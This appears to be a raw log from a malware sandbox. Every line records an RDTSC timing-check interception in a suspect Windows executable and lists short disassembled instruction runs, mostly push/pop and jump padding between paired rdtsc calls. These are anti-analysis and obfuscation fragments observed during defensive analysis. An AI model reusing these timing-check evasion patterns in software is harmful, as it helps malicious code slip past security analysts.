Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2DC098 second address: 2DC0A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2E1B87 second address: 2E1B8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2E98C7 second address: 2E98CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2E9781 second address: 2E9785 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2E9785 second address: 2E978B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2F2B64 second address: 2F2B87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F8FAD4EAD69h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2F19E7 second address: 2F1A02 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8FACDB057Dh 0x00000008 jmp 00007F8FACDB0571h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2F1B33 second address: 2F1B59 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F8FAD4EAD5Bh 0x00000012 jmp 00007F8FAD4EAD5Bh 0x00000017 push edx 0x00000018 pop edx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2F282F second address: 2F283C instructions: 0x00000000 rdtsc 0x00000002 je 00007F8FACDB0566h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2F56C0 second address: 2F56C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2F56C4 second address: 2F56CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2F5426 second address: 2F5465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8FAD4EAD5Eh 0x00000009 pop esi 0x0000000a pushad 0x0000000b jmp 00007F8FAD4EAD60h 0x00000010 jmp 00007F8FAD4EAD69h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2F5465 second address: 2F546B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2F8B0E second address: 2F8B1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2F8B1C second address: 2F8B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2F8B20 second address: 2F8B5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD5Ah 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F8FAD4EAD62h 0x00000010 jg 00007F8FAD4EAD6Ah 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 303447 second address: 30345E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB0573h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 311735 second address: 31173F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F8FAD4EAD56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 31173F second address: 311743 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 311743 second address: 311749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 311749 second address: 31176D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F8FACDB0571h 0x00000010 je 00007F8FACDB0566h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 31176D second address: 311781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8FAD4EAD5Fh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 311781 second address: 31178B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F8FACDB0566h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 313D54 second address: 313D69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jns 00007F8FAD4EAD5Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 313D69 second address: 313D74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F8FACDB0566h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 313D74 second address: 313D7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 313BB0 second address: 313BC4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jo 00007F8FACDB0566h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jp 00007F8FACDB0566h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 313BC4 second address: 313C06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jns 00007F8FAD4EAD58h 0x00000012 push ebx 0x00000013 jmp 00007F8FAD4EAD63h 0x00000018 pop ebx 0x00000019 je 00007F8FAD4EAD5Eh 0x0000001f push esi 0x00000020 pop esi 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 313C06 second address: 313C0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 3154C5 second address: 3154D7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F8FAD4EAD5Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 315358 second address: 31535E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 318292 second address: 318296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 317D74 second address: 317D7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 32D569 second address: 32D57C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jns 00007F8FAD4EAD58h 0x0000000b popad 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 32D57C second address: 32D580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 32C8D4 second address: 32C8DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 32CCB1 second address: 32CCCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnp 00007F8FACDB0566h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8FACDB056Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 32D0E8 second address: 32D0FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 32D0FA second address: 32D100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 32D100 second address: 32D106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 32D106 second address: 32D13B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F8FACDB0571h 0x0000000b jl 00007F8FACDB0566h 0x00000011 push edx 0x00000012 pop edx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F8FACDB056Dh 0x0000001b jne 00007F8FACDB0566h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 32D13B second address: 32D141 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 32ED19 second address: 32ED54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB056Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F8FACDB056Eh 0x00000010 pop esi 0x00000011 push esi 0x00000012 push edx 0x00000013 jmp 00007F8FACDB0574h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 331975 second address: 3319C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D2F79h], ecx 0x00000012 mov dh, ch 0x00000014 push 00000004h 0x00000016 sbb edx, 19079271h 0x0000001c push 2B79C63Eh 0x00000021 je 00007F8FAD4EAD77h 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F8FAD4EAD69h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 331CA9 second address: 331CB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F8FACDB0566h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 333538 second address: 333542 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F8FAD4EAD56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24EC46 second address: 24EC4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 24EC4A second address: 24EC4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53A03A5 second address: 53A03A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53A03A9 second address: 53A03AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53A03AF second address: 53A03B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53A03B5 second address: 53A03B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53A03B9 second address: 53A03BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53A03BD second address: 53A0406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov cx, 8341h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 mov al, 42h 0x00000015 mov eax, ebx 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov al, 30h 0x0000001e pushfd 0x0000001f jmp 00007F8FAD4EAD61h 0x00000024 sub esi, 1D4950F6h 0x0000002a jmp 00007F8FAD4EAD61h 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53A0406 second address: 53A0447 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB0571h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F8FACDB056Eh 0x00000010 mov edx, dword ptr [ebp+0Ch] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F8FACDB0577h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53A0447 second address: 53A045F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8FAD4EAD64h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53A045F second address: 53A0470 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53A0470 second address: 53A0474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53A0474 second address: 53A048C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB0574h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0731 second address: 53C0749 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8FAD4EAD64h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0749 second address: 53C074D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C074D second address: 53C079B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F8FAD4EAD5Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F8FAD4EAD5Dh 0x0000001a jmp 00007F8FAD4EAD5Bh 0x0000001f popfd 0x00000020 jmp 00007F8FAD4EAD68h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C079B second address: 53C07E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8FACDB0571h 0x00000009 adc si, 8CA6h 0x0000000e jmp 00007F8FACDB0571h 0x00000013 popfd 0x00000014 movzx esi, di 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F8FACDB0576h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C07E7 second address: 53C07EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C07EC second address: 53C0801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, 7E42h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov al, dl 0x00000011 mov di, cx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0801 second address: 53C0807 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0807 second address: 53C080B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C080B second address: 53C080F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C080F second address: 53C087E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ecx 0x0000000b jmp 00007F8FACDB0577h 0x00000010 xchg eax, esi 0x00000011 jmp 00007F8FACDB0576h 0x00000016 push eax 0x00000017 jmp 00007F8FACDB056Bh 0x0000001c xchg eax, esi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F8FACDB056Eh 0x00000026 jmp 00007F8FACDB0575h 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C087E second address: 53C093E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, bh 0x00000005 pushfd 0x00000006 jmp 00007F8FAD4EAD68h 0x0000000b jmp 00007F8FAD4EAD65h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 lea eax, dword ptr [ebp-04h] 0x00000017 jmp 00007F8FAD4EAD5Eh 0x0000001c nop 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F8FAD4EAD5Eh 0x00000024 xor cx, 42E8h 0x00000029 jmp 00007F8FAD4EAD5Bh 0x0000002e popfd 0x0000002f call 00007F8FAD4EAD68h 0x00000034 pushfd 0x00000035 jmp 00007F8FAD4EAD62h 0x0000003a and si, A078h 0x0000003f jmp 00007F8FAD4EAD5Bh 0x00000044 popfd 0x00000045 pop esi 0x00000046 popad 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F8FAD4EAD65h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C093E second address: 53C0944 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C0944 second address: 53C0948 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C09BA second address: 53C09C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8FACDB056Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53C09C9 second address: 53C09CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B0214 second address: 53B021A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B021A second address: 53B021E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B021E second address: 53B0222 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B0222 second address: 53B0232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov al, dl 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B02EB second address: 53B02EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B02EF second address: 53B02F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B02F5 second address: 53B031C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB0575h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edi, edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8FACDB056Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B031C second address: 53B0333 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a pushad 0x0000000b movzx ecx, bx 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B0333 second address: 53B038A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 test al, al 0x00000008 pushad 0x00000009 call 00007F8FACDB0572h 0x0000000e mov bh, al 0x00000010 pop edx 0x00000011 popad 0x00000012 je 00007F8FACDB06ABh 0x00000018 pushad 0x00000019 movzx ecx, dx 0x0000001c mov dl, 7Ch 0x0000001e popad 0x0000001f lea ecx, dword ptr [ebp-14h] 0x00000022 jmp 00007F8FACDB056Ch 0x00000027 mov dword ptr [ebp-14h], edi 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F8FACDB0577h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B03FE second address: 53B0404 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B0404 second address: 53B045A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB056Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b pushad 0x0000000c call 00007F8FACDB056Eh 0x00000011 movzx eax, bx 0x00000014 pop edi 0x00000015 mov dx, cx 0x00000018 popad 0x00000019 jg 00007F901D49E5C3h 0x0000001f pushad 0x00000020 mov edx, esi 0x00000022 mov dx, cx 0x00000025 popad 0x00000026 js 00007F8FACDB05C1h 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F8FACDB0574h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 53B045A second address: 53B0460 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
